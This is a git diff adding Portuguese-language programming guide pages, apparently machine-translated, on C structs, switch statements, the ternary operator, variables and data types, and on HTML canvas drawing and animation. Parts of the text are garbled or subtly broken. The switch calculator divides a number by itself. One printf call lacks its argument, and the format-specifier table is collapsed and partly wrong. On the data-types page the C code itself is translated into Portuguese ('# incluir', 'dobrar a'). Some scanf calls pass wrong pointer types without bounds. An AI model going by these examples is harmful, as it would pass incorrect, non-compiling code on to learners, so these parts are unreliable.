diff --git a/client/src/guide/portuguese/c/structures/index.md b/client/src/guide/portuguese/c/structures/index.md
new file mode 100644
index 0000000000..ee32550b0e
--- /dev/null
+++ b/client/src/guide/portuguese/c/structures/index.md
@@ -0,0 +1,78 @@
+---
+title: Structures
+localeTitle: Estruturas
+---
+## Estruturas em C
+
+### O que são estruturas?
+
+*   Uma **estrutura** é um tipo definido pelo usuário em C. Ela é baseada na ideia de que, algumas vezes, o programador deseja gerenciar não apenas tipos de dados primitivos, mas também tipos de dados definidos pelo programador.
+*   **A estrutura** , como o nome sugere, consiste em vários tipos de dados primitivos, como caractere, inteiros, variáveis ​​de ponto flutuante, matrizes etc.
+*   **A estrutura** também pode conter vários outros tipos de dados definidos pelo usuário. Você aprenderia sobre as estruturas aninhadas a seguir.
+*   **As estruturas** formam a base da **_programação orientada a objetos,_** já que o conceito de _classe se_ origina de estruturas.
+
+### palavra-chave struct
+
+*   `struct` palavra-chave `struct` pode nos ajudar a definir um tipo de dados definido pelo usuário.
+
+```C
+struct StudentRecord 
+ { 
+  char Name[20]; 
+  int Class; 
+  char Address[30]; 
+  char Phone[10]; 
+ }; 
+```
+
+*   Também podemos definir uma **estrutura** usando **typedef, o** que facilita a inicialização de uma estrutura mais tarde em nosso programa.
+
+```C
+typedef struct StudentRecord 
+ { 
+  char Name[20]; 
+  int Class; 
+  char Address[30]; 
+  char Phone[10]; 
+ }Record; 
+```
+
+Em `main()` , o tipo de dados **StudentRecord** definido pelo usuário é definido como:
+
+```C
+int main(void) 
+ { 
+  struct StudentRecord student1; 
+ } 
+```
+
+E usando **typedef** , o tipo de dados definido pelo usuário se parece com:
+
+```C
+int main(void) 
+ { 
+  Record student1; 
+ } 
+```
+
+Para acessar os dados armazenados no **student1** , usamos o operador dot ( **.** ) Para acessar o conteúdo da variável do tipo de estrutura.
+
+```C
+int main(void) 
+ { 
+  struct StudentRecord student1; 
+  student1.Class = 10; 
+  printf("Enter Name of Student\n"); 
+  scanf("%s",&student1.Name); 
+  printf("Enter Address of Student\n"); 
+  scanf("%s",&student1.Address); 
+  printf("Enter Phone Number of Student\n"); 
+  scanf("%s",&student1.Phone); 
+  // Printing the Data 
+  printf("Name: %s \n, Class: %d \n, Address: %s \n, Phone: %s \n",student1.Name, student1.Class, student1.Address, student1.Phone); 
+ } 
+```
+
+### Mais Informações
+
+https://www.tutorialspoint.com/cprogramming/c\_structures.htm
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/switch/index.md b/client/src/guide/portuguese/c/switch/index.md
new file mode 100644
index 0000000000..867fc07281
--- /dev/null
+++ b/client/src/guide/portuguese/c/switch/index.md
@@ -0,0 +1,89 @@
+---
+title: Switch Case
+localeTitle: Caso do interruptor
+---
+# Caso do interruptor
+
+A instrução switch é como um conjunto de `if statements` .
+
+É uma lista de possibilidades, com uma ação para cada possibilidade, e uma ação padrão opcional, caso nada mais seja avaliado como verdadeiro.
+
+Nós saímos do interruptor por `break` . Se a instrução `break` não for atingida antes do início do próximo caso, a execução cairá e começará a executar o código no próximo caso.
+
+## Sintaxe do switch… case
+
+```c
+switch (n) 
+ { 
+    case constant1: 
+        // code to be executed if n is equal to constant1; 
+        break; 
+ 
+    case constant2: 
+        // code to be executed if n is equal to constant2; 
+        break; 
+        . 
+        . 
+        . 
+    default: 
+        // code to be executed if n doesn't match any constant 
+ } 
+```
+
+## Exemplo
+
+Usar uma instrução switch em várias instruções if / else pode contribuir para mais velocidade e legibilidade.
+
+```c
+# include <stdio.h> 
+ 
+ int main() { 
+ 
+    char operator; 
+    double firstNumber,secondNumber; 
+ 
+    printf("Enter an operator (+, -, *, /): "); 
+    scanf("%c", &operator); 
+ 
+    printf("Enter two operands: "); 
+    scanf("%lf %lf",&firstNumber, &secondNumber); 
+ 
+    switch (operator) { 
+        case '+': 
+            printf("%.1lf + %.1lf = %.1lf",firstNumber, secondNumber, firstNumber+secondNumber); 
+            break; 
+        case '-': 
+            printf("%.1lf - %.1lf = %.1lf",firstNumber, secondNumber, firstNumber-secondNumber); 
+            break; 
+        case '*': 
+            printf("%.1lf * %.1lf = %.1lf",firstNumber, secondNumber, firstNumber*secondNumber); 
+            break; 
+        case '/': 
+            printf("%.1lf / %.1lf = %.1lf",firstNumber, secondNumber, firstNumber/firstNumber); 
+            break; 
+        // Operator is doesn't match any case constant (+, -, *, /) 
+        default: 
+            printf("Error! operator is not correct"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+## Saída:
+
+```c
+-> Enter an operator (+, -, *,): - 
+ -> Enter two operands: 32.5 
+ -> 12.4 
+ -> 32.5 - 12.4 = 20.1 
+```
+
+## Revisão: alternar vs se mais
+
+*   Verifique a Expressão de Teste: Uma instrução if-then-else pode testar expressões com base em intervalos de valores ou condições, enquanto uma instrução switch testa expressões com base apenas em um único número inteiro, valor enumerado ou objeto String.
+*   Alternar melhor para ramificação Multi-way: Quando o compilador compila uma instrução switch, ele inspecionará cada uma das constantes de caso e criará uma “tabela de salto” que será usada para selecionar o caminho de execução, dependendo do valor da expressão. Portanto, se precisarmos selecionar entre um grande grupo de valores, uma instrução switch será executada muito mais rapidamente que a lógica equivalente codificada usando uma sequência de ifs-elses. O compilador pode fazer isso porque sabe que as constantes de caso são todas do mesmo tipo e simplesmente devem ser comparadas para igualdade com a expressão de troca, enquanto no caso de expressões if, o compilador não possui tal conhecimento.
+*   if-else melhor para valores booleanos: As ramificações condicionais if-else são ótimas para condições de variáveis ​​que resultam em um booleano, enquanto as declarações de switch são ótimas para valores de dados fixos.
+*   Velocidade: Uma declaração de troca pode ser mais rápida do que se o número de casos fosse bom. Se houver apenas alguns casos, pode não afetar a velocidade em qualquer caso. Prefira a opção se o número de casos for maior que 5, caso contrário você também poderá usar if-else.
+*   Se um switch contiver mais de cinco itens, ele será implementado usando uma tabela de consulta ou uma lista de hash. Isso significa que todos os itens obtêm o mesmo tempo de acesso, em comparação com uma lista de se: s onde o último item leva muito mais tempo para ser alcançado, pois ele precisa avaliar todas as condições anteriores primeiro.
+*   Clareza na legibilidade: um switch parece muito mais limpo quando você precisa combinar casos. Os ifs também são bastante vulneráveis ​​a erros. Falta uma declaração mais pode te atrapalhar. Adicionar / remover etiquetas também é mais fácil com um switch e torna seu código significativamente mais fácil de alterar e manter.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/ternary-operator/index.md b/client/src/guide/portuguese/c/ternary-operator/index.md
new file mode 100644
index 0000000000..f53fd924c5
--- /dev/null
+++ b/client/src/guide/portuguese/c/ternary-operator/index.md
@@ -0,0 +1,80 @@
+---
+title: Ternary Operator
+localeTitle: Operador Ternário
+---
## Operador Ternário
+
+Os programadores usam operadores ternários em C para tomar decisões em lugar de declarações condicionais, **se** e **mais** . O operador ternário é um operador que leva três argumentos. O primeiro argumento é um argumento de comparação, o segundo é o resultado em uma comparação verdadeira e o terceiro é o resultado em uma comparação falsa. Se isso ajudar você pode pensar no operador como uma forma abreviada de escrever uma instrução if-else.
+
+Aqui está um exemplo simples de tomada de decisão usando **if** e **else** :
+
+```c
+int a = 10, b = 20, c; 
+ 
+ if (a < b) { 
+    c = a; 
+ } 
+ else { 
+    c = b; 
+ } 
+ 
+ printf("%d", c); 
+```
+
+Este exemplo leva mais de 10 linhas, mas isso não é necessário. Você pode escrever o programa acima em apenas 3 linhas de código usando o **operador ternário** .
+
+### Sintaxe
+
+`condition ? value_if_true : value_if_false`
+
+A declaração é avaliada para statement\_1 se a condição for verdadeira e statement\_2 caso contrário.
+
+Aqui está o exemplo acima reescrito para usar o operador ternário:
+
+```c
+int a = 10, b = 20, c; 
+ 
+ c = (a < b) ? a : b; 
+ 
+ printf("%d", c); 
+```
+
+A saída do exemplo deve ser:
+
+```c
+10 
+```
+
+`c` é igual a `a` , porque a condição `a<b` era verdadeira.
+
+Isso parece bem simples, certo? Observe que `value_if_true` e `value_if_false` devem ter o mesmo tipo e não podem ser instruções completas, mas simplesmente expressões.
+
+O operador ternário também pode ser aninhado da mesma forma que as instruções if-else aninhadas. Considere esta declaração if-else aninhada:
+
+```c
+int a = 1, b = 2, ans; 
+ if (a == 1) { 
+    if (b == 2) { 
+        ans = 3; 
+    } else { 
+        ans = 5; 
+    } 
+ } else { 
+    ans = 0; 
+ } 
+ printf ("%d\n", ans); 
+```
+
+Aqui está o código acima reescrito usando o operador ternário aninhado:
+
+```c
+int a = 1, b = 2, ans; 
+ ans = (a == 1 ? (b == 2 ? 3 : 5) : 0); 
+ printf ("%d\n", ans); 
+```
+
+A saída de ambos os códigos acima deve ser:
+
+```c
+3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/variables-and-basic-datatypes/index.md b/client/src/guide/portuguese/c/variables-and-basic-datatypes/index.md
new file mode 100644
index 0000000000..4754f26d74
--- /dev/null
+++ b/client/src/guide/portuguese/c/variables-and-basic-datatypes/index.md
@@ -0,0 +1,101 @@
+---
+title: Variables and Basic Data Types 
+localeTitle: Variáveis ​​e Tipos Básicos de Dados
+---
+# Variáveis ​​e Tipos Básicos de Dados
+
+## O que é uma variável?
+
+Variáveis ​​armazenam valores. Basicamente você dá um nome a um valor armazenado, que você quer usar depois. É importante observar que uma variável pode armazenar apenas um valor de uma só vez. No entanto, mais tarde, você pode alterar os valores armazenados mais tarde no código e também pode atribuir o valor de uma variável a outra.
+
+> Quando você cria uma variável, ela é chamada de `declaring` e, quando você atribui a ela um valor para armazenar, ela é chamada de `assignment` . Se você atribuir à variável um valor ao mesmo tempo que declará-la, ela será chamada de `initializing` . C é muito exigente sobre como você cria variáveis ​​e o que você armazena nelas. C é uma `strongly typed` , o que significa que você precisa definir o tipo e o nome de cada variável quando a declarar. O nome de uma variável pode ser composto de letras, dígitos e o caractere de sublinhado.
+
+## Tipos básicos
+
+No Standard C existem quatro tipos básicos de dados importantes: `int` , `float` , `double` , `char` .
+
+### Inteiros
+
+Para valores numéricos inteiros, a palavra-chave `int` é usada (abreviação de integer). Vamos olhar para um programa simples:
+
+```C
+#include <stdio.h> 
+ int main(void){ 
+ 
+ int a; // Declaring a variable which stores integer values and is called 'a' 
+ int b = 5; //Initializing an int called 'b' with the value 5 
+ a = 6; // Assigning the value 6 to the variable 'a' 
+ int c; 
+ c = a + b; // Assign the sum of 'a' and 'b' to the variable c 
+ int d = a + c; //But we could also initialize it right away. 
+ 
+ //Some shiny things 
+ printf("%d \n", c); 
+ printf("%d %d \n", a, b); 
+ 
+ return 0; 
+ } 
+```
+
+Vamos quebrar o que fizemos sob `Some shingy things` :
+
+```C
+printf("%d \n", c); 
+```
+
+Para imprimir o valor da variável `c` , você pode usar a `printf()` . Observe o `%d` entre aspas duplas. Isso informa ao computador que esperar um valor ecimal **d,** e que é depois da vírgula.
+
+```C
+printf("%d %d \n", a, b); 
+```
+
+Você pode imprimir vários inteiros na ordem dada após a vírgula.
+
+Observe que quando você tenta armazenar um valor decimal em um `int` , você só terá toda a parte dele, porque eles serão truncados.
+
+Também podemos escrever o programa da maneira abaixo:
+```
+#include <stdio.h> 
+ int main(void){ 
+ 
+ int a=3,b=4,c; // we can also assign and declare the values in 1 line 
+ c = a + b; // Assign the sum of 'a' and 'b' to the variable c 
+ 
+ printf("%d %d \n", a, b); 
+ printf("%d \n", c); 
+ 
+ return 0; 
+ } 
+```
+
+### Flutuadores e duplas
+
+Para armazenar valores decimais, você pode usar as palavras-chave `float` e `double` . A diferença entre eles é a precisão, o `double` tem cerca de 13 dígitos, enquanto o `float` tem cerca de 7, mas isso difere de CPU para CPU. \`\` \`C #incluir int main (void) { dobrar a = 3,23; printf ("A variável a tem o valor:% f \\ n", a); // Valores duplos podem ser impressos com% f return 0; }
+```
+### Characters 
+ You can store a single character with the `char` keyword. You will learn about storing multiple characters later, when we introduce `arrays`. Let's look at some code: 
+```
+
+C
+
+# incluir
+
+int main (void) { char a = 'A'; // Inicializando um char com o valor 'A', observe as aspas simples! printf ("O caractere era:% c", a) // Os caracteres podem ser impressos com% c return 0; }
+```
+## The Boolean type 
+ Later in C a new type was added, called `bool`. Bool stores true/false values, which comes in handy when you have to make decisions in the code. To use it though, you have to inlcude another header next to `<stdio.h>` called `<stdbool.h>`. 
+```
+
+C
+
+# incluir
+
+# incluir
+
+int main (void) { bool a = verdadeiro; bool b = falso;
+
+return 0; } \`\` \`
+
+## Comentários
+
+O tipo de uma variável informa ao compilador quanto espaço deve ser criado (alocado) para a variável. Agora você viu os tipos básicos de dados, mas há modificadores para eles modificarem a quantidade de espaço alocado para uma variável. Modificadores podem aumentar ou diminuir os valores padrão. C tem 5 modificadores: `short` , `long` , `signed` , `unsigned` , `long long` . Eles são prefixados aos tipos básicos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/variables/index.md b/client/src/guide/portuguese/c/variables/index.md
new file mode 100644
index 0000000000..38c9bfe012
--- /dev/null
+++ b/client/src/guide/portuguese/c/variables/index.md
@@ -0,0 +1,109 @@
+---
+title: Variables in C
+localeTitle: Variáveis ​​em C
+---
+# Usando Variáveis ​​em C
+
+Agora você sabe quais são suas opções com tipos de dados. Vamos aplicá-lo com um exemplo simples aqui:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_first_variable = 12; 
+    double my_second_variable = 983.9; 
+ 
+    printf("My int is %i\n", my_first_variable); 
+    printf("My double is %f\n", my_second_variable); 
+ 
+    return 0; 
+ } 
+```
+
+Há muitas coisas novas para dar uma olhada aqui! Você já viu o `#include` e `int main(void)` , então não vale a pena ficar pensando nisso. O que é novo é `int my_first_variable = 12;` .
+
+De mais cedo, você deve lembrar que `int` nos permite armazenar valores inteiros. Depois que a palavra `int` vem `my_first_variable` . Essa é uma variável - ela pode armazenar valores e você pode alterar quais valores estão sendo armazenados nela. Começamos com uma declaração, em que informamos ao computador que o valor inicial dessa variável é 12. É importante informar ao computador que queremos que exista uma variável antes de tentar usá-la. Caso contrário, a variável não existirá e o compilador não saberá o que fazer quando você tentar dizer para usar uma variável que não existe.
+
+A próxima linha é `double my_second_variable = 983.9` . A estrutura semelhante de antes deve deixar claro que você está dizendo ao computador para criar uma variável chamada 'minha _segunda_ variável' que pode conter valores `double` e que você deseja que ela seja definida como 983.9.
+
+O nome real da variável não é importante. Pode ser o que você quiser, desde que não seja nenhuma das palavras que C reservou para o idioma atual, e só pode incluir números e letras, nunca espaços. O nome da variável não pode começar com um número. Por convenção, C usa nomes de variáveis ​​claras que substituem sublinhados por espaços. A variável também pode ser camelCase, assim:
+
+```C
+double myFirstVariable = 983.9 
+```
+
+Na verdade, seria assim em outras línguas. No entanto, em C isso não é feito normalmente.
+
+Depois que as variáveis ​​são criadas, nós começamos a usá-las:
+
+```C
+    printf("My int is %i\n", my_first_variable); 
+    printf("My double is %f\n", my_second_variable); 
+```
+
+Este é o mesmo printf () que você usou anteriormente, mas agora ele tem alguns recursos diferentes. Primeiro, observe que agora existem duas coisas dentro dos parênteses: o texto a ser impresso na tela e a variável. Observe também o `%i` e o `%f` . Isso é chamado de _especificador de formato_ e é usado para especificar em qual formato algo deve ser impresso. Sempre que printf () se deparar com um desses, ele tentará inserir a variável fornecida nesse ponto.
+
+Como os tipos de dados de nossas variáveis ​​são representados em um computador de várias maneiras diferentes, existem várias maneiras diferentes para que C os exiba:
+
+Tipo de dados | Especificador de formato ---------------- | ------------------ char | % c, ou% hhi para imprimir como um número quando assinado,% hhu para imprimir como um número quando não assinado curto | % hi ou% hu quando não assinados int | % i,% d também pode ser usado longo | % li ou% lu quando não assinados muito tempo | % lli ou% llu quando não assinados flutuador | % f duplo | % f longa dupla | % Lf int não assinado | %Lu
+
+Para imprimir uma variável, você deve ter um especificador de formato e, em seguida, uma variável para formatar. Vários especificadores de formato podem estar juntos no mesmo printf (), também:
+
+```C
+    printf("%i and %f", my_first_variable, my_second_variable); 
+```
+
+Para varrer uma variável, você deve ter um especificador de formato e, em seguida, o endereço da variável (denotado adicionando o sinal '&' antes do nome da variável) a ser tomado como entrada. Vários especificadores de formato podem estar juntos no mesmo scanf (), também:
+
+```C
+    scanf("%i and %f", &my_first_variable, &my_second_variable); 
+```
+
+Agora vamos começar a mudar os valores dentro de nossas variáveis. Aqui estão os mesmos exemplos de antes, mas com mais algumas linhas:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_first_variable = 12; 
+    double my_second_variable = 983.9; 
+ 
+    printf("My int is %i\n", my_first_variable); 
+    printf("My double is %f\n", my_second_variable); 
+ 
+    my_second_variable = -18.2 + my_first_variable; 
+ 
+    printf("Now my double is %f\n", my_second_variable); 
+ 
+    return 0; 
+ } 
+```
+
+Agora há uma linha que lê `my_second_variable = -18.2 + my_first_variable;` . Esta equação atribui um novo valor à variável à esquerda. Sempre que um novo valor é atribuído, a variável à qual ele está sendo atribuído deve estar sempre à esquerda e sempre deve estar lá sozinha. Seu programa encontrará o resultado do lado direito e o atribuirá à variável à esquerda. Neste caso, adicionamos minha _primeira_ variável a -18,2. minha _primeira_ variável é 12 e -18,2 + 12 é -6,2, então minha _segunda_ variável se torna -6,2 após essa etapa. Nós vamos entrar mais em matemática daqui a pouco!
+
+## Um pouco mais sobre carros alegóricos e duplas
+
+Ao imprimir floats e duplas, muitas vezes precisamos de precisão após o ponto decimal. Se tiver-mos
+
+```C
+float var1 = 15.3; 
+ printf("%f"); 
+```
+
+Nós temos `15.300000` . Então, digamos que só queremos dois lugares após o decimal para nos dar `15.30` . Nós usaríamos% .2f. Note, nós usamos um ponto decimal na frente da quantidade de casas decimais que nós queremos, seguidos pelo f, significando que queremos imprimir um float ou double.
+
+# Nomes para Variáveis
+
+*   Os únicos caracteres que você pode usar em nomes são caracteres alfabéticos, dígitos numéricos e o caractere de sublinhado (\_).
+*   O primeiro caractere em um nome não pode ser um dígito numérico.
+*   Caracteres maiúsculos são considerados distintos dos caracteres minúsculos.
+*   Você não pode usar uma palavra-chave C para um nome.
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   Variáveis ​​precisam ser criadas antes de serem usadas.
+*   As variáveis ​​são criadas no seguinte formato: `datatype variable_name = number` .
+*   Os especificadores de formato permitem que as variáveis ​​sejam impressas.
+*   O sinal de igual `=` permite que valores sejam atribuídos a variáveis.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/canvas/animation-in-canvas/index.md b/client/src/guide/portuguese/canvas/animation-in-canvas/index.md
new file mode 100644
index 0000000000..8c84ec17f3
--- /dev/null
+++ b/client/src/guide/portuguese/canvas/animation-in-canvas/index.md
@@ -0,0 +1,47 @@
+---
+title: Animation
+localeTitle: Animação
+---
+## Animação em tela
+
+Para animar coisas na `canvas` , use `window.requestAnimationFrame` para configurar um loop de desenho.
+
+```js
+function draw() { 
+  /* code goes here */ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+```
+
+O código abaixo fará com que a função de `draw` seja executada a cada quadro.
+
+`canvas` não tem funções especiais que permitam animar. Você só precisa estar acostumado a escrever em loops de animação. O paradigma usual de design para loops de animação é atualizar o estado e desenhar o estado. Por exemplo, para desenhar um quadrado em movimento na tela:
+
+```js
+canvas = document.getElementById("canvas"); 
+ ctx = canvas.getContext('2d'); 
+ 
+ var x=0; 
+ var y=50; 
+ function draw() { 
+  // reset canvas 
+  ctx.clearRect(0, 0, canvas.width, canvas.height); 
+  //update state 
+  x+=1; 
+ 
+  // render state 
+  ctx.beginPath(); 
+  ctx.rect(x, y, 50, 50); 
+  ctx.fill(); 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+```
+
+Para ver este conceito em ação, consulte a página " [Sim de partícula](/articles/canvas/particle-sim) ".
+
+#### Mais Informações:
+
+*   [API de tela MDN](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/canvas/basic-usage/index.md b/client/src/guide/portuguese/canvas/basic-usage/index.md
new file mode 100644
index 0000000000..b23966d15c
--- /dev/null
+++ b/client/src/guide/portuguese/canvas/basic-usage/index.md
@@ -0,0 +1,32 @@
+---
+title: Basic Usage
+localeTitle: Uso Básico
+---
+## Uso Básico do Canvas
+
+Ao usar a tela, primeiro coloque uma tela no documento como um elemento.
+
+```html
+
+<canvas width="400" height="400" id="canvas"></canvas> 
+```
+
+Os atributos `width` e `height` controlam o tamanho da tela. Esses atributos controlam o tamanho da tela de desenho, não o tamanho renderizado real. Consulte a página "Dimensões da tela" para mais.
+
+Para usar uma `canvas` , devemos primeiro pegar o elemento da página como um elemento DOM e, em seguida, obter um contexto de desenho a partir dele.
+
+```js
+var canvas = document.getElementById("canvas"); 
+ var ctx = canvas.getContext('2d'); 
+```
+
+Todas as chamadas de desenho depois disso serão feitas a partir do objeto `ctx` . O `ctx` representa o contexto de desenho do objeto e contém informações sobre o espaço de desenho 2D. O objeto de `canvas` é o elemento DOM real. Interagir com ele nos permite acessar atributos como `width` e `height` .
+
+Existem alguns contextos de desenho disponíveis, incluindo `webgl` . O WebGL é realmente uma tecnologia totalmente diferente, portanto, nos concentraremos apenas no desenho 2D.
+
+Os caminhos são o bloco de construção do desenho na `canvas` . Veja a página " [Caminhos](/articles/canvas/paths) " para mais.
+
+#### Mais Informações:
+
+*   [API de tela MDN](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
+*   [HTMLCanvasElement.getContext () (MDN)](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/getContext)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/canvas/canvas-dimensions/index.md b/client/src/guide/portuguese/canvas/canvas-dimensions/index.md
new file mode 100644
index 0000000000..9c5429fc27
--- /dev/null
+++ b/client/src/guide/portuguese/canvas/canvas-dimensions/index.md
@@ -0,0 +1,31 @@
+---
+title: Canvas Dimensions
+localeTitle: Dimensões da tela
+---
+## Dimensões da tela
+
+Os atributos `width` e `height` controlam o tamanho da tela. Esses atributos controlam o tamanho da tela de desenho, não o tamanho renderizado real.
+
+Veja a [demonstração das dimensões](https://codepen.io/alanluo/pen/jLWMmM/) da Pen [Canvas](https://codepen.io/alanluo/pen/jLWMmM/) por Alan Luo ( [@alanluo](https://codepen.io/alanluo) ) no [CodePen](https://codepen.io) .
+
+Na caneta acima, os dois elementos da `canvas` têm as mesmas dimensões definidas por meio do CSS. No entanto, um tem o dobro da altura definida pelo atributo `height` , levando o mesmo retângulo a ser renderizado na metade da altura.
+
+Isso pode causar problemas quando você deseja criar uma tela de tamanho dinâmico. Por exemplo, você pode querer fazer uma tela em tela cheia ou usar uma tela como miniatura.
+
+Para fazer com que o tamanho do contexto de desenho corresponda ao tamanho renderizado do elemento `canvas` , temos que forçar isso em tempo real. Uma prática comum é colocar o seguinte manipulador no ouvinte `onResize` .
+
+```js
+// somewhere early in the script 
+ var canvas = document.getElementById("canvas"); 
+ ... 
+ 
+ window.addEventListener("resize", function() { 
+    canvas.setAttribute("width", canvas.scrollWidth); 
+    canvas.setAttribute("height", canvas.scrollHeight); 
+    console.log(canvas.offsetWidth); 
+ }); 
+```
+
+#### Mais Informações:
+
+*   [API de tela MDN](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/canvas/index.md b/client/src/guide/portuguese/canvas/index.md
new file mode 100644
index 0000000000..0dd726ace9
--- /dev/null
+++ b/client/src/guide/portuguese/canvas/index.md
@@ -0,0 +1,11 @@
+---
+title: Canvas
+localeTitle: Tela de pintura
+---
+## Lona HTML5
+
+O Canvas é uma tecnologia introduzida no HTML5 que pode ser acessada pela tag `<canvas>` . Ele permite que gráficos sejam desenhados via Javascript e é uma ferramenta poderosa para interatividade na web.
+
+#### Mais Informações:
+
+*   [API de tela MDN](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/canvas/particle-sim/index.md b/client/src/guide/portuguese/canvas/particle-sim/index.md
new file mode 100644
index 0000000000..dd8648e87d
--- /dev/null
+++ b/client/src/guide/portuguese/canvas/particle-sim/index.md
@@ -0,0 +1,95 @@
+---
+title: Particle Sim
+localeTitle: Particle Sim
+---
+## Simulação de Partículas em Lona
+
+Neste guia, vamos construir uma simulação básica de partículas no Canvas usando princípios simples de animação.
+
+Vamos querer configurar uma matriz de partículas com acelerações e velocidades. Nós vamos criar 100 partículas em pontos aleatórios na tela.
+
+```js
+canvas = document.getElementById("canvas"); 
+ ctx = canvas.getContext('2d'); 
+ 
+ var particles = []; 
+ for(var i=0; i<100; i++) { 
+  particles.push( 
+    { 
+      x:Math.random()*canvas.width, 
+      y:Math.random()*canvas.height, 
+      vx:0, 
+      vy:0, 
+      ax:0, 
+      ay:0 
+    } 
+  ); 
+ } 
+```
+
+Em nosso loop de desenho, renderizamos essas partículas.
+
+```js
+function draw() { 
+  ctx.clearRect(0, 0, canvas.width, canvas.height); 
+  for(var i=0; i<particles.length; i++) { 
+    // update state 
+ 
+    // render state 
+    ctx.beginPath(); 
+    ctx.arc(particles[i].x, particles[i].y, 5, 0, 2*Math.PI); 
+    ctx.fill(); 
+  } 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+```
+
+Agora, tudo o que precisamos fazer é atualizar a velocidade e a aceleração de cada quadro. Vamos adicionar a aceleração à velocidade e adicionar a velocidade à posição.
+
+```js
+function draw() { 
+  for(var i=0; i<particles.length; i++) { 
+    // update state 
+    particles[i].x+=particles[i].vx; 
+    particles[i].y+=particles[i].vy; 
+    particles[i].vx+=particles[i].ax; 
+    particles[i].vy+=particles[i].ay; 
+ 
+    /* render code */ 
+  } 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+```
+
+É isso aí! Tudo o que precisamos fazer é criar uma força em algum lugar. Vamos fazer isso com um ouvinte de cliques.
+
+```js
+canvas.addEventListener("click", function(e) { 
+  var clickX = e.clientX-canvas.offsetLeft; 
+  var clickY = e.clientY-canvas.offsetTop; 
+  for(var i=0; i<particles.length; i++) { 
+    var delx = particles[i].x-clickX; 
+    var dely = particles[i].y-clickY; 
+    var magnitudeSquared = Math.pow(delx, 2)+Math.pow(dely, 2); 
+ 
+ 
+    particles[i].ax = 0.1*delx/magnitudeSquared; 
+    particles[i].ay = 0.1*dely/magnitudeSquared; 
+ 
+  } 
+ }); 
+```
+
+Isso adiciona força através da lei do inverso do quadrado. Veja [esta página](#placeholder) para mais detalhes.
+
+Isso é tudo! O codepen final:
+
+Veja o Pen [Particle Sim (FCC)](https://codepen.io/alanluo/pen/OjMbpm/) de Alan Luo ( [@alanluo](https://codepen.io/alanluo) ) no [CodePen](https://codepen.io) .
+
+#### Mais Informações:
+
+*   [API de tela MDN](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/canvas/paths/index.md b/client/src/guide/portuguese/canvas/paths/index.md
new file mode 100644
index 0000000000..ae02de6f10
--- /dev/null
+++ b/client/src/guide/portuguese/canvas/paths/index.md
@@ -0,0 +1,82 @@
+---
+title: Paths
+localeTitle: Caminhos
+---
+## Caminhos na tela
+
+Os caminhos são o bloco de construção do desenho no Canvas. Um caminho é apenas uma forma. Então, a forma pode ser desenhada acariciando-a ou preenchendo-a.
+
+Podemos criar caminhos de uso com `beginPath` , `fill` e `stroke` .
+
+```js
+ctx.beginPath(); 
+ ctx.rect(0, 0, 100, 100); 
+ ctx.fillStyle="black"; 
+ ctx.fill(); 
+```
+
+Isso cria um quadrado preto no canto superior direito da tela. Podemos alterar traços e preenchimentos com `strokeStyle` e `fillStyle` , que pegam strings de cores semelhantes a CSS. Também podemos usar o `lineWidth` para tornar os traços mais espessos.
+
+```js
+ctx.beginPath(); 
+ ctx.moveTo(0,0); 
+ ctx.lineTo(300,150); 
+ ctx.moveTo(0, 100); 
+ ctx.lineTo(300, 250); 
+ 
+ ctx.strokeStyle="red"; 
+ ctx.lineWidth=2; 
+ ctx.stroke(); 
+```
+
+Existem quatro funções básicas de desenho: `rect` , `moveTo` , `lineTo` e `arc` .
+
+*   `rect(x, y, width, height)` adiciona um retângulo criado a partir de ( `x` , `y` ) de dimensões ( `width` , `height` ) ao caminho.
+*   `moveTo(x,y)` move a caneta para um ponto na tela
+*   `lineTo(x,y)` move a caneta para um ponto na tela e adiciona uma linha entre o novo ponto e o antigo ao caminho.
+*   `arc(x, y, r, ti, tf)` adiciona um arco (uma parte de um círculo) em ( `x` , `y` ), de raio `r` , e de ângulo `ti` a `tf` para o caminho.
+
+Observe que essas funções são adicionadas ao caminho de trabalho. Eles não criam novos caminhos.
+
+```js
+//example 1 
+ ctx.beginPath(); 
+ ctx.rect(0, 0, 50, 50); 
+ ctx.rect(100, 100, 50, 50); 
+ ctx.fill(); 
+ 
+ //example 2 
+ ctx.beginPath(); 
+ ctx.rect(0, 0, 50, 50); 
+ ctx.beginPath(); 
+ ctx.rect(100, 100, 50, 50); 
+ ctx.fill(); 
+```
+
+O primeiro exemplo desenha dois quadrados, enquanto o segundo desenha apenas um, uma vez que o `beginPath` descartou o primeiro retângulo no antigo caminho de trabalho.
+
+Este fato leva a um erro comum em fazer animações de `canvas` .
+
+```js
+var x = 0; 
+ var y = 0; 
+ function draw() { 
+  ctx.clearRect(0, 0, canvas.width, canvas.height); 
+ 
+  ctx.rect(x, y, 50, 50); 
+  ctx.fill(); 
+  x+=1; 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ 
+ window.requestAnimationFrame(draw); 
+```
+
+A animação acima, que deve fazer um movimento quadrado na tela, cria uma longa barra preta. A razão é que o `beginPath` não é chamado dentro do loop de `draw` .
+
+Para ler mais sobre animação, consulte a página [Animação](/articles/canvas/animation-in-canvas/) .
+
+#### Mais Informações:
+
